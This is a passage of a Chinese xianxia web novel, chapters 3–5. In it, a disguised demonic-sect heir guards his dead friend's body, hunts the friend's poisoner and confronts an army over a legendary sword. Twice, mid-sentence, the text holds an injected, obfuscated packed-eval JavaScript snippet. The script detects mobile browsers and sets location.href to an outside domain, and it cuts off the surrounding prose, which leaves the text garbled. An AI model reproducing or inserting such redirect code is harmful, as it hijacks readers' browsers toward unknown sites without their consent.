《恶美人杀夫失败后》 3. 清算 第三章 迟清影的眸光清寒,在空寂的静室中逡巡了良久。 但四周一片死寂无声,守阵的傀儡们也纹丝不动,没有任何反应。 迟清影并未阖目,就这样维持着戒备的姿态,去查探自己的丹田。 甫一探入,迟清影的心就猛然向下一沉。 丹田内,方才那股狂乱冲撞的灵力,竟然真的像是被无形之手抚平,此刻正温驯地自发运转着,平和而安稳。 仿佛不久前那遍及全身的剧烈痛楚,只不过是一场幻梦。 指尖无意识地蜷紧,迟清影垂眸,按在自己犹自窒闷的心口。 到底方才突然的灵力失控是错觉?还是,当真有人—— 静默在冰冷的夜色中蔓延。迟清影掐指,算了下时辰,倏然起身。 衣袂微扬的刹那,十八尊银白傀儡齐齐化作流光,就地消失。 悬浮于顶的地阶法器也敛去光华,悄然没入了他的袖中。 走出静室,已过三更。 院门外,值守的护卫们依旧如长枪般挺直。 忽见幂篱素影深夜而出,几人连忙垂首恭立。 “仙子安好。” 迟清影步履微顿。 “方才可有异动?” 垂纱轻笼,夜风拂过,幂篱下传出的声音却无半分低闷。 只如寒泉清越,霜雪初融,清越泠泠,直透心魄。 美得不似凡尘之音。 此处的护卫何曾听过仙子开口?只觉那声音撞入耳中,心神都似被冰泉浸过,激得一个激灵。 为首之人慌忙应答,喉头却发紧,竟磕绊了一声。 “回、回仙子,没有!一切安稳。” 幂篱之下,迟清影沉默一息,未再言语。 他那霜白的衣袂掠过夜色,已然远去。 护卫们目光不由自主地追随那抹清冷的背影,心口仍砰砰在跳,又有困惑生出。 仙子为何突然有此一问? 方才……方才他们又可曾失仪? 好不容易敛住心神,护卫们思及职责,回身要重新站定—— “嗬!” 又有护卫险些被惊了一跳。 一个木制小偶不知何时已悄无声息地立于他们眼前,仅及膝高,面无表情地捧着几块光芒温润的金玉。 正是打赏。 迟清影早已行至了守灵厅。 他自然清楚,友人安排在此处的护卫虽修为不过炼气,却天赋特殊,个个耳力通玄或五感非凡,对四下的生息最是敏锐。 纵使不如迟清影的傀儡精密,也绝非易瞒之辈。 然而,无论是机关造物,还是这些身负异能的修士活人,都对方才的异动毫无察觉。 指腹无意识地捻过那冰冷透明的傀儡丝。 当真是……错觉么? 灵堂寂寂,素帷低垂。 凄白月光之下,熟悉的尸身仍枕在原处,杳然未动。 迟清影立在灵台之前,清冷目光沉沉落下,与那人无声相望。 没有。 那双瞋黑的眼眸始终没有睁开。 * 清早,方逢时刚一起身,便听闻了这个消息。 “前辈寅时就醒了?” 少年一双杏核似的圆眼里盛满了惊疑,颊边浅浅的梨涡也隐了下去。 他心头一紧。 莫不是昨夜前辈伤势反复,身体不适…… 正有忧心,他又听闻,迟清影竟是在子夜去过灵堂后便离府外出,至今未归。 “前辈去哪里了?” 方逢时声音轻而急,如同被惊扰的幼雀。 桌案另一侧,一身紫衣的年轻修士眉心微拧,那身张扬的贵气仿佛都凝滞了一瞬。 “小执洲。” “小执洲?!” 方逢时听闻,几乎是下意识地攥紧了衣袖,纤细的指节微微泛白。 “那怎么行?” 昨日北境告急、异魔肆虐的求救之地,正是小执洲! 少年脸色霎时褪去血色,嗓音带上了一丝不易察觉的轻颤。 “前辈……前辈是去除魔了?可是他只身一人,身体还没恢复——” 傅九川抬眸看他,神情更有一分复杂。 他指节轻叩了下茶盏沿口,缓缓道。 “小执洲北境的异魔悬杀令,已结了。” 方逢时不由愣住:“已结……?” “前辈居然真的一个人,除杀了异魔?” 这脱口而出的疑问,绝非是对迟清影实力的质疑。 恰恰相反,正是因为方逢时深知异魔有多么恐怖。 这些凶魔不仅杀伤力极强,其防御也坚固得足以令人绝望。 它们那身黏糊的腐肉,却仿佛远胜铜皮铁骨。 但凡未能结成金丹的修士,连在其皮肉上留下一丝划痕都是奢望。 甚至即使是金丹真人,真正能击伤异魔的,也堪称是凤毛麟角。 非得是攻击力极强的少数佼佼者,才能将异魔重创。 而迟清影却并未结丹。 直到半月之前,自寒潭历练归来,他也才刚刚突破了筑基中期。 虽然有令人惊叹的银傀傍身,但过往数载的除魔之路,迟清影也都是与挚友一起,配合郁长安那锋锐无匹的冲霄剑意,方能将异魔真正斩灭。 ——此等战绩,已然是惊世骇俗的壮举。 要知道,四洲研习机关傀儡的修士何止万千? 但他人的傀儡无论多么强悍,往往只是沾染到一下蚀气,就会直接腐坏,灵光尽灭。 唯有迟清影自己炼制的银白傀儡,才能不惧应对异魔。 甚至能将蚀气吸纳至傀儡之中,救下那些被腐蚀的修士性命。 过往的太多淋淋血案早已证明,这四洲全域,绝大多数的修士在异魔面前,都只不过是送上门的肉餐。 唯独迟清影与郁长安。 曾于此至暗,携手劈开过一线生天。 可现在,郁真人已经…… 方逢时不解:“前辈炼制出了新傀儡么?居然连异魔也可以杀灭——” 话音未完,院外忽然传来了些许喧闹声。 方逢时回头,就见一名玄甲护卫疾步入内,向傅九川单膝触地,声线沉肃。 “殿下,灵堂外有数人聚集,皆言,郁真人未陨!” 他气息微促,却吐字如钉,迅速将一切情况禀明。 “多人声称,郁真人的身影今日重现小执洲,剑光裂魔云!现下众人群情激荡,皆追问停灵吊唁之事,当如何处置?” “重现小执洲?” 怎么可能? 方逢时的第一反应,就是有人借机生乱,扰逝者清净。 但一旁的傅九川抬手虚按,已然压下了所有躁动。 “稍安。” “我已遣人前去查清。” 他那一贯张扬的眉眼间,此时更多一分世家大族的贵气稳重。 “今日在小执洲北境,迟兄以雷霆手段击穿了异魔要害。所用之力,正是郁兄生前亲手赠予他的无匹剑意。” 方逢时倏然怔住,唇瓣微张。 ……原来如此。 “此番误会,我自会去向众人言明。” 傅九川起身,他目光投向远处灵堂的招魂幡,眼底的痛惜与锋芒交织,毫不掩饰。 “世人皆盼郁兄生还。此心拳拳,我亦如此。” “只是那道剑意。” 傅九川低叹一声。 “那本是郁兄专程留给挚友护体所用,如今,却被迟兄祭出,庇佑这北境苍生。” “二位高义,实是我辈望尘不能及……” 方逢时喉间发紧,少年清亮的眼眸低垂下去,却难掩其中翻涌的哀伤。 前辈他…… 这念头一起,便沉重得让人几乎不敢细想。 昔日同行之景历历在目,郁真人待前辈,有多么悉心关照,又是如何以命相护。 而今,铭旌低垂,世间却只余迟清影一人。 那一袭素衣如雪,孤身扛起故人未竟的遗志,踽踽独行于这天地之间。 ……他又会有多么思念郁长安? * 迟清影并不知道旁人都在想什么。 他只是在确认一件事。 ——郁长安,确确实实已经死了。 就连那道属于对方的剑意,此时也随着主人身死道消,没有激发出半分共鸣。 随着异魔轰然倒地,翻涌的黑浓蚀气被银白傀儡尽数吸纳。 于残忍凶魔口中被救下的人们劫后余生,他们颤抖着回神,痛哭、庆幸,最终化作一片朝着迟清影跪拜叩谢的浪潮。 迟清影静立着,幂篱遮去了向他投来的诸多目光。 面对这汹涌的感激,他却唯有沉默。 尽管除魔三载,可是对这种事,迟清影并没有多少应对经验。 以往,都是郁长安在前,替他接下一切。 除了众人皆知的清冷性子,迟清影也从来不觉得自己是什么好人、什么英雄义士。 所以他从不曾真的去领受这些。 如今,对众人的山呼景仰,沉默便成了他唯一的回应。 目光扫过人群,迟清影的视线落在一人身上。 ——是几日前,曾出现在仙门大比上的一位年轻剑修,修为已达半步金丹。 一袭雪色穿过了自动分开的人群,迟清影径直行至那人面前,素手微抬。 一方刻满玄奥纹路的阵盘于他的掌心无声浮现,幽光流转。 “引魔阵。” 清冽的嗓音响起,无波无澜。 “布于巽位灵脉交汇处,阵盘深埋九尺。” 半身浴血、正在崇敬望着他的年轻剑修听闻,却是不由倒吸一口凉气。 ——当初仙门大比时的猜测,竟被证实了! 此次仙门大比不同以往,其核心斗场正设在一处完全独立的镇邪秘境中。 众多参与的仙门修士,则以斩杀其中的异魔数量而论排名。 而引魔阵,正可置于四洲各个灵气充盈之地。 一旦有异魔来袭,阵法激发,便能将其强行传送进镇邪秘境,免去一场生灵涂炭。 最令人惊叹的是,这引魔阵法竟能抵御蚀气侵蚀,长久运转! 这位半步金丹的剑修当时便有猜测—— 此方世界,能造出此等不惧蚀气的阵法核心者。 除了以银白傀儡闻名四洲的迟道修,还会有谁? 而四洲各地,异魔肆虐之势渐缓。 恐怕也正和这对名动天下的挚友有关。 应是他们在除魔路上,不断于各地布下引魔阵,将可能再次出现的异魔引入秘境。 才给了诸多城池一个喘息的机会。 此次仙门大比落幕,镇邪秘境并未封闭,各大宗门仍然可遣派弟子入内历练。 如此,既能让年轻天骄磨砺修行,同时也能庇佑四方生灵。 得此一双挚友,实乃四洲之幸! ……纵使今日,已永失其一。 “是!定不负恩人嘱托!” 剑修忙应下此事,用负伤的双手将阵盘接过。 而迟清影交代完毕,便没有停留。 众人千恩万谢,欲献重礼,但迟清影也只取走了悬杀令。 令牌上黑金光芒一闪,任务结清的消息便已传回了各大洲盟。 回到暂居的院落,迟清影一踏入,就见一道少年身影快步迎上。 “前辈!” 方逢时仰起脸,那双杏圆的眼眸望着迟清影。 即便早已得知除魔功成,那份揪心的担忧却丝毫未减,清晰地写在少年脸庞上。 “您无事吧?” 傅九川也紧随上前。 他目光掠过方逢时仔细为人探查的动作,见少年神色稍缓,才眉峰略展,稍稍放下心来。 他深知方逢时虽然看似脸嫩,其实却是北洲丹云宗百年一遇的炼药天才,还是难得的丹医双修。 迟清影之前的伤势,也多由其照料。 傅九川适时开口:“迟兄,方才有客人来访,自称是您家中亲友。” 他侧身向偏厅方位示意了一下。 “傅某认得,随行的那位年轻护卫,的确曾在您身边见过,便先将客人请去奉茶了。” 迟清影微一颔首,径直走向了院中。 身后,方逢时望着他削瘦的背影,忧色未减。 前辈损耗甚巨,又遭逢重创,此刻仍显虚弱。 还有一事……他们尚未告知。 仙门正道,各方势力已重整旗鼓,准备再度发起清剿魔教的大战。 两人商议后,还是决定暂缓将此事提及。 毕竟,郁长安正是陨落于征讨魔教的路上。 而此番行动,亦是要为天下第一剑报仇。 他们还是担心…… 这消息会再次撕裂前辈尚未愈合的伤口。 * 不过,迟清影对此并非全不知情。 在回来路上,那道烙印着魔教秘纹的加急传讯飞书,便已破空而至,落入他的袖中。 但迟清影并没有打开。 此刻他踏入偏厅,厅内等候之人立时起身。 来人折扇轻合,躬身行礼,姿态是无可挑剔的俊雅风流。 迟清影步履未停,径直掠过对方身侧,于主位落座。 等候的人见状,便捏碎了一枚指间的骨戒。 嗡—— 一道无形的屏障瞬间张开,将偏厅笼罩。 刹那间,窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098913|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喧嚣的蝉鸣、远处的风声,都戛然而止。 此处已被彻底隔绝,确保接下来的谈话不会被任何人窥见。 易别柳这时才开口。 “少主。” 他本是天生笑面,这时却敛了惯常的慵懒,神色是少有的凝重。 “仙门十二宗联军已至,距我教总坛不足千里。魔域外城刚刚遭遇异魔肆虐,三十六处哨卡已损毁近半。眼下,正是防御空虚之时。” “尊主仍在幽冥渊闭关。教内两派争执不下。太上长老一脉主张封死九幽入口,暂避锋芒;左护法则欲倾巢而出,誓要让仙门付出血的代价。” 言罢,易别柳抬眼望向主位。但那霜白的身影依旧静如寒潭,毫无波动。 甚至连幂篱都没有摘。 “……少主?” 垂纱之下,终于传来迟清影的嗓音,冷冽似寒泉浸玉,不带一丝温度。 “停灵尚有五日。” 易别柳不由变色。 “您当真要一直守着他?” 即使易别柳是知晓少主真实身份的寥寥数人之一,他也全然看不透这位的心思。 自三年前,少主离教,众人本以为他是为了寻找契机,突破瓶颈。 谁知他却和那所谓的天下第一剑一起,除魔卫道整整三载。 直至如今,少主居然还一心扑在那个碍眼的正道修士身上—— 哪怕对方已经死了! 易别柳刚要再劝,却听少主忽地开口。“噬魂虫,唯魔教秘库所有。” “谁动的手?” 易别柳呼吸一滞,折扇的玉骨在掌心里捏紧。 “您……是要清算?” 迟清影的语气平淡,却令人瞬间背脊发寒。 “郁长安死于噬魂虫。” 而执掌魔教蛊毒堂的,正是他易别柳! 一股极致的危险感瞬间攫住了易别柳,他瞳孔骤缩,刚想动作,身体却已经被无形的丝网死死缚住。 剧痛袭来,他俊美的面容瞬间扭曲变形。 那只执着折扇的右臂,竟如同沙垒崩塌般开始无声溃散! 紫黑色的诡异蛊虫如潮水般从他袖中涌出,却又在脱离躯体的刹那暴毙,簌簌掉落在地面,顷刻间铺了薄薄的一层虫尸。 ——易别柳的身体,竟是整个由蛊虫拼聚而成的。 他的身后,那个始终如同影子般毫无存在感的遮面暗卫,不知何时却已无声迫近,灰色的眼眸自遮面的绷带之上抬起,冰冷得没有一丝活气。 暗卫看起来并未如何动作,却让易别柳半边身躯的蛊虫都近乎失控。 “不、不是我!少主!” 易别柳痛得声音都变了调,惊恐与剧痛撕裂了他优雅的假面。 “噬魂虫乃教中至毒……属下绝无资格染指!” 直至那溃散的蛊虫几乎蔓延到肩头,迟清影才淡淡抬手。 年轻的遮面暗卫当即垂首,默然后退,重新回到了阴影深处。 易别柳几近跪倒,半边身子空荡,冷汗浸透华服,再不见半分翩翩风度。 “属下、属下即刻去查。” 他声音也在抖。 “一有消息,定当立刻回禀少主!” 迟清影的目光掠过,冷冷地睄了一眼他周身因剧痛而失控翻涌的魔气。 “避开仙修,隐好魔息。” “是,属下明白!” 易别柳冷汗涔涔,闻言如蒙大赦,跌撞起身,当即告退。 待他的身影消失,迟清影方道。 “无问。” 阴影中,遮面的青年无声上前。 他身姿挺拔,罕见的灰色眼眸沉穆而清俊。 那本该是张英挺的脸庞,下半部分却被层层灰白的绷带包裹,连瘦削的下颌都裹得很严。 显得有些怪异,却又有种古怪的孤寂,让人一时居然很难注意到他。 就连他单膝向下,抵住地面的动作都没有任何声音。 无问跪立抬手,奉上了一枚黑色的玉符。 迟清影信手接过,皎白的长指探入漆黑玉符,从中取出了一卷薄如蝉翼的锦帛。 锦帛上看似空无一物,迟清影目光扫过,却漠然道。 “不会是他。” 无需易别柳,暗卫早已将情况查明。 所有线索赫然指向一人:驱使手下去动用噬魂虫的,正是魔教左护法。 “陈晦的师尊,当年欲近郁长安的身,尚不及十步,便被其一剑斩杀。” 迟清影的声音罕见地带上了一丝极淡的冷嘲。 郁长安,怎么可能那么好杀? “再去查。” 迟清影指尖一捻,锦帛瞬间化作飞灰。 无问深深垂首,绷带下的面容纹丝未动。 下一刻,他身影微晃,无声无息地消失在了原地。 偏厅彻底陷入了安静。 迟清影独自伫立,幂篱之下,无人能窥见他的神色。 噬魂虫。 这阴毒至极的罕见蛊虫,专噬修士元神,杀人于无形。 让被害者在被察觉之前,便已丧命。 但它也有致命限制。 必须近身才能种下。 照理说,郁长安不会让人有机会得逞。 而且他剑意凛然,元神已与剑意相容,如煌煌烈日,杀气极盛。 即使噬魂虫也不一定会有用。 然而—— 迟清影将指节轻轻捏紧。 他没有告诉任何人,他最怀疑的,其实并不是魔教有谁胆大包天。 而是当年,自己亲手种下的那一枚蛊虫。 三年前,迟清影初遇郁长安,便已经将这致命之物送入了对方体内。 那是他第一次对其下杀手。 但噬魂虫只如石沉大海,毫无动静,并且早已彻底断开了与他的感应。 迟清影原以为是郁长安剑意过盛,自发将其斩杀,又或者是主角光环,蛊毒根本无用。 可是三年过去。 郁长安为何偏偏死于噬魂虫? 寂静之中,无人知晓此时的心绪翻涌。 厅外,日光明朗。 迟清影默然,再度前去了守灵厅。 他一身素衣薄纱,依旧如前几日那般沉默守灵。 看在旁人眼中,仍是那为挚友哀恸至深的清冷仙修。 直至夜色又临,最后一位悼念者离去。灵堂重归于静寂。 烛火摇曳,映照着冰冷的灵台。 迟清影的目光,习惯性地落回亡者身上。 可就在这刹那之间,他周身的气息却倏然凝滞。 那具本该了无生机的尸身,此时居然微微动了一下。 ——那惯于握剑、交叠于腹前的修长双手,竟赫然偏离了原位! 4.挚友 第四章 郁长安还活着? 在那一刹,迟清影的身形,几乎凝成了石像。 一股寒意顺着尾椎猛地窜升,血涌上颅顶。 眼前从不遮物的垂纱倏地一恍,连视野都出现了短暂地一瞬扭曲与模糊。 但下一秒,迟清影骤然出手! 杀机无声炸裂,迟清影的指间银芒瞬闪。无数根几近透明的傀儡丝如暴雨般激射而出,撕裂空气! ——直钉入了灵堂一角的阴影中。 丝线于半空中隐没,却带起了一片尖锐刺耳的厉啸声。 那是蛊虫被刺中的濒死嘶鸣。 迟清影面无表情,在他身后,空气微动。 一具通体泛着冷银光辉的傀儡猛然冲出,全无五官的面孔冰冷而骇人。 “啊!!” 阴影中一声惨叫,一道模糊的身影被银白傀儡的手臂硬生生拽出,踉跄显现。 那人影反应也极快,足尖点地,便想要就地遁逃。 然而迟清影眸光冰冷,反手自虚空抽出一道雪亮长鞭! 鞭影如白练破空,精准缠上刺客腰腹,猛力回扯,将人拽离了原地。 “砰!!” 刺客重重地砸在冰冷的地砖上,尘土轻扬,离迟清影的靴尖只有三步。 “少主!饶命啊少主!” 刺客蜷缩倒地,抖如筛糠,被越绞越紧的鞭子勒得窒息,慌忙吐露实情。 “是、是易堂主指使!是易堂主命小的,伺机带走天下第一剑的、尸身……” 话音未落,刺客的双眼、口鼻骤然涌出粘稠黑血。 他喉中“咯咯”作响,身体剧烈痉挛了几下,彻底僵直。 竟是当场毙命了。 迟清影静立原地,幂篱垂纱纹丝不动。 那根傀儡丝编织而成的长鞭已然无声收回,只余下一抹惨白的残影,在空气中淡去。 银白傀儡早已欺近刺客瘫软的尸身。 它那泛着金属冷光的手臂悍然探出,冰冷坚硬的手指如同铁钳,重重按上刺客尚带余温的额头。 倘若此时还有其他人在场,恐怕会骇然地直接叫出声来。 因为那傀儡掌心之下,无声无息发动的,竟是仙门明令禁止、足以令受术者魂飞魄散的阴毒禁术—— 搜魂。 然而,最终自傀儡掌下被抽取而出的,却只有几缕淡薄如烟的神识残片。 模糊的碎片里,刺客跪伏于魔教某处听命,场景摇曳不定,如同被水浸透的劣画。 而刚刚身死的刺客,此时元神已然彻底消散。 ——显然是被种下了极其霸道的禁制,不容丝毫窥探。 银白傀儡将那几缕残识托出,随即便拽起尸身,在地面留下断续的暗色拖痕,一路拎去处理掉了。 几个关节精密的木制小偶又无声出现,它们动作迅捷有序,眨眼间便将地上的污渍与痕迹抹除殆尽。 灵堂又恢复了一种近乎冷酷的洁净。 冷冷檀香再度弥漫,迟清影的目光穿透垂落的轻纱,沉沉地落回了正中灵台。 郁长安静卧其上,依然毫无生息。 而在迟清影的身后,倏然有人开口。 “会下这种级别的元神禁制,果然是左护法的手笔。” 易别柳摇着玉骨折扇,自灵堂的暗影里缓步踱出,步履翩然从容。 “搜魂即灭,啧,这是早就想好了要毁尸灭迹。” 灵台旁边,那些被傀儡丝刺穿的蛊虫同样在飞速消失,不留痕迹。 但易别柳折扇轻点,那几乎消散的蛊虫残灰顿时被无形之力定于空中。 “‘牵尸引’……这蛊专用于操控尸体,看来,他们的确是想偷走天下第一剑的尸身。” 折扇轻拢,扇骨轻叩掌心。 “目标尚未达成,恐怕左护法不会罢休。” 易别柳汇报完,原本要听少主吩咐。 但他神识扫过刺客的残魂碎片,眼神却沉了下来,唇角也浮起一抹冰冷弧度。 “哦?在我蛊毒堂听命的场景?这变着法的栽赃嫁祸,看来左护法是铁了心要弄死我。” 知道易别柳白日触怒少主,正待领罚,此时再把这窃取尸身的罪名扣下,真是好一出算计。 易别柳冷笑。 他们未免太过狂妄,更不知他们眼中尚且稚嫩的少主其实早已洞悉全局。 他转向迟清影,躬身一礼,语气带着由衷的恭谨敬畏。 “少主深谋远虑,今日惩戒属下之戏码,已然骗过那些蠢货耳目。” 易别柳并不担心自己,但他心头却有更重的另一层忧虑。 他神色转为凝重。 “少主,暗探回报,左护法已经确认了您的身份。” 迟清影的真实身份,在魔教内部也是最高机密。他现身时永远戴着面具,无人知晓其真容。 “他们正预谋……要公开放出这个消息。” 如今仙门正要清剿魔教,一旦这消息被散播出去,迟清影必将成为整个正道的公敌。 或许,这正是左护法一系在教内倾轧、妄图扳倒少主的致命一击。 “仙门大军已然集结,箭在弦上,左护法执意迎战,随时可能点燃这桶火药。” 易别柳拧眉,语气微促,带着真切的焦急。 然而,灵台前的身影依旧沉默如雪。 幂篱未动,迟清影的目光仿佛凝固在郁长安毫无生气的脸上,对即将到来的滔天危机置若罔闻。 易别柳心头微紧。 少主对这具尸身的关注,好像有点太多了。 而且刚才不过是区区一个刺客,少主居然不止放出傀儡,还动用了自己的本命法器——照夜白! 那瞬间爆发的杀意,不像是仅仅应对偷袭,反而更像是当真……被触碰了逆鳞。 “方才,是那蛊虫,让他动了?” 迟清影的声音忽而响起,冷冽如冰泉。 易别柳心头一跳,当即垂首应道:“回少主,正是‘牵尸引’在作祟。” “此蛊能短暂驱动尸身关节,使其如提线木偶,做出亡者动作的假象。” 他解释得很清楚,但那雪色身影听罢,却又低声开口,轻得如同自言自语。 “所以,他不会再动了,是吗?” 易别柳喉头一哽,只觉空气都变得粘稠沉重。 他放轻了呼吸,声音压得更低,带着一丝压抑的不忍。 “少主……郁真人,已然仙逝了。” 话刚说完,易别柳却不由一怔。 他看到迟清影缓缓抬起了右手。 那只苍白颀长、执掌杀伐也操控过万千傀儡的手,此刻却带着一种克制的轻缓,指尖微微曲蜷,一点一点地探伸过去,停落在郁长安冰冷的脸庞上方。 烛光在他指尖跳跃,却只映出一片毫无温度的惨白。 易别柳不由心惊,折扇都僵在了掌中。 ……少主对郁长安,究竟是什么感情? * 魔域外城,黑云压阵。 仙门联军的旌旗连天,法宝的流光如星河倒卷。 阵前,为首的白发道士手持天阶法器,身后千名的修士结阵如林。 只见一道璀璨洪流如瀑布倾泻,悍然撞向了外城的屏障! “轰隆——!” 地动山摇,凝结的屏障开始寸寸碎裂,摇摇欲坠的防线彻底崩塌。 原本漫天蔽日的毒瘴已然被驱散大半,露出了此处枯黑的土地,和灰暗的天空。 大军势如破竹,转身已然直逼魔教的核心——总坛黑水崖。 黑水崖外有纵深万丈的裂谷包围,谷底常年翻涌着粘稠沸腾的蚀骨黑水。 此时裂谷之上的毒瘴也被除去,然而,临近那吞噬光线的巨大深渊,天地却陷入一片诡异的死寂。 陡峭的崖边,哨卡空空荡荡。 居然不见半个魔影。 仙门联军于崖边高台止步,在数位元婴老祖的护持下,大军已然顺利越过裂谷。 但他们并没有冒然向前,而是屏息望向了为首的老者。 玄尘子鹤发童颜,眼神锐利如鹰,他沉声下令。 “结阵,清障,探虚实。” “是!” 齐声震天的应令之后,阵型瞬间变幻。 符光闪烁,探查魔气的法器一一向前,扫过焦土。 同时,一名体壮如铁塔、怒发冲冠的巨汉,雷焕,也大步上前,声若惊雷炸响。 “魔教宵小!勾结异魔,祸乱苍生!残杀我正道脊梁郁剑修,更欲盗其仙躯,炼为尸傀,行那亵渎亡者的龌龊勾当!” “——尔等丧尽天良,猪狗不如!” 这话字字泣血,句句诛心。 提及天下第一剑郁长安的陨落,悲愤更是如烈火燎原,点燃了所有仙门修士的心。 无数修士眼眶赤红,声浪滚滚,几乎要震散笼罩深渊的魔云。 “诛尽邪魔,血债血偿!” “为郁真人报仇,踏平魔窟!!” “呵。” 一声极轻的冷笑,如冰块落入沸油,瞬间刺破了震天的声响。 所有喊声戛然而停。 仙门众人悚然侧目,却见前方不过几丈远的地方,不知何时多了一个人。 那人身形瘦高,穿着一袭陈旧青衫,脸色苍白得没有一丝血色,像个凡俗中手无缚鸡之力的落魄书生。 但看清他面容的仙门高手们,却无不心头一紧,汗毛倒竖! “血雾陈晦。” 为首的玄尘子微微眯眼。 “魔教左护法,你终于肯现身了。” 所有仙门修士瞬间法宝齐指,灵压如潮。预备迎敌。 气氛紧绷到了极点。 陈晦苍白的脸上噙着一丝若有似无的讥诮,他慢悠悠地扫过严阵以待的仙门大军,声音文雅,却带着一种令人背脊发凉的阴冷。 “骂我魔教手段下作?” “你们这群人自诩仙门正道,怎么不问问自己呢?” 他话锋陡然一转,锐利如淬毒的匕锋,尖锐刺耳,直指核心。 “口口声声不让我等碰郁长安,当真是为护其清名?难道不是怕我毁了尸身,你们,就再也得不到那把天翎剑么?” “住口!” “邪魔妄言!” 雷焕怒目圆睁,仙门弟子更是群情激愤。 然而,为首的几位元婴老祖——玄尘子、妙音仙子、清虚老祖等人,脸上却或多或少浮现出了隐隐异色。 陈晦将他们的神色尽收眼底,笑意更浓,带着浓烈的嘲讽:“怎么?被戳中心事了?” “郁长安活着的时候,你们这群披着道袍的伪善之徒,暗地里动的贪念还少么。” “当年做的那些烂事,真以为人都死绝了,没人知道?” 这话就像是揭开了尘封已久的痂疤。 刹那间,天翎剑那搅动四洲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如今郁长安已死,这把无上神兵,可不会再落入尔等伪君子之手。” 天翎剑可不是仙器。 它是上古神器。 ——也就是说,即使魔修,夺来也能驾驭! “邪魔外道,休要妄言!” 玄尘子厉声断喝,手中的法器光华暴涨。 “天翎剑乃正道圣器,岂容邪魔染指?诸弟子听令——” “染指?”陈晦嗤笑,袍袖一挥。 在他身后,那深不见底的黑水渊骤然沸腾! 粘稠如墨的血水翻涌,无数狰狞的魔影嘶吼着破水而出,魔气滔天,瞬间染红了半边天穹。 “那就看看,今日谁有这本事,夺下这天下第一剑!” 血煞之气冲天而起,与仙门灵光分庭抗礼。 黑红魔云与璀璨仙光如同两条怒龙对峙,即将撕裂长空。 一场席卷天地的惨烈大战,一触即发! 就在这千钧一发、天地色变的刹那—— 一缕清冷的薄光,忽而无声地破开了遮天的魔云与仙芒。 那薄光并不刺眼,却带着一种穿透万物的清冷与澄澈。 如同夜幕初升的第一缕月华,悄无声息地洒落。 一道身影,踏光而至。 衣袂如雪,翩然若仙。那人长发如缎,随风轻扬,周身萦绕着清寒的薄霜。 所有人望见,无论仙魔,皆是瞳孔骤缩。 “迟……迟道友?” 仙门阵中,惊呼四起。 魔修阵前,陈晦冷色的薄唇紧抿, 他紧盯着那人身影,脸色晦暗不明。 是迟清影。 不会有错。 来人连平日的幂篱都没戴,直接露出了他那张令天地失色的绝美面容。 清绝出尘,眉眼如覆霜雪,每一寸线条都仿佛是天道最完美的杰作——看他一眼,就足以确认。 这必然是名动四洲的天下第一美人。 此刻,迟清影凌空而立,足下似有月华铺就,夜风吹动了他单薄的雪色衣衫。 更显得仙气缥缈,令人望而屏息。 而在他手中,一柄薄如秋水的长剑,正通体流淌着纯粹天光。 那剑身散发出的煌煌神辉,却如骄阳,瞬间压住了战场上所有的魔气凶焰与法宝灵光。 ——天翎剑! 这柄引得仙魔两道大战、掀起滔天血浪,无数人梦寐以求却不可得的绝世神兵。 此刻,竟如此安然温顺,静静地栖息于他苍白颀长的手中。 万籁俱静。 所有目光,都被那抹清绝的身影与绝世剑光所攫取。 “天翎剑,在我手。” 迟清影开口,声音并不高,还带着一丝不易察觉的微哑。 似是久病未愈,又有着耗尽心力后的倦怠。 他身形单薄,立于猎猎风中,衣袂翻飞如雪,更衬得面色苍白胜玉。 美人话音也微微停顿,长睫轻颤,似在强抑翻涌的气血。 但那轻淡嗓音,却字字冷冽。穿透整个黑水崖,清晰钉入在场每一个人的耳膜—— “辱我挚友者……” “不死不休。” 5.体内 第五章 仙门弟子们只觉一股热血上涌,望着半空中那道清冷身影,胸中激荡着难以言喻的崇敬。 不知是谁难以自抑,嘶吼出声。 “不死不休!” 这声音顿时点燃了所有人心底的火焰。 下一刻,山呼海啸般的呐喊汇成洪流,震耳欲聋,响彻云霄。 “不死不休!不死不休——!” 几位仙门长者目光交汇,最终都选择了沉默。 他们望着那道静立半空的霜白身影,目光有着微许难以言喻的复杂。 也有人视线隐晦,扫过了迟清影执剑的手。 迟清影的修为尚且只在筑基,如今他能凌空而立,且能稳稳立于阵前这元婴威压交织的风暴中心。 恐怕也与天翎剑的威能脱不了干系。 虽然不知迟清影不修剑道,能否真正驾驭这把神兵,但此刻,会自发择主的天翎剑正安然落于他掌心,无可作假。 而且,迟清影自身那一手神鬼莫测的傀儡奇术,也不容小觑。 于修士而言,结丹是一道难以逾越的天堑。 金丹上下,实力自有云泥之别。 倘若在异魔出现之前,饶是迟清影再怎么惊才绝艳,也绝不可能仅凭筑基修为,抵挡得住金丹真人的威能。 但现在,迟清影却能炼制四洲大陆唯一能吸纳、封存异魔蚀气的银白傀儡。 如果他真的不惜代价,砸裂傀儡,将蚀气大量放出。 那么就连元婴老祖,也不得不暂避其锋芒。 只能说,幸好…… 这等身怀惊世之力的天纵之才,选择站在了仙门这一方。 对仙门长者们的百般思绪,旁人并不知晓。 诸多仙道修士,只是崇敬地景仰着那道清绝身影。 而魔教阵营,陈晦牢牢盯着迟清影,目光中显出一种与他文弱外表全然不符的阴毒。 陈晦看得分明,迟清影千里赶来,正处在虚弱状态,而且他强行催动天翎剑,必然消耗巨大。 在那看似平静的清冷身影下,恐怕早已是强弩之末。 无数念头 在陈晦的心中飞快转动。 他眸光阴冷,正要开口,却见半空中的迟清影忽而抬眸。 迟清影望向远空,淡冷的声音不高,却穿透了喧嚣。 “异魔将至。” “啊——!!” 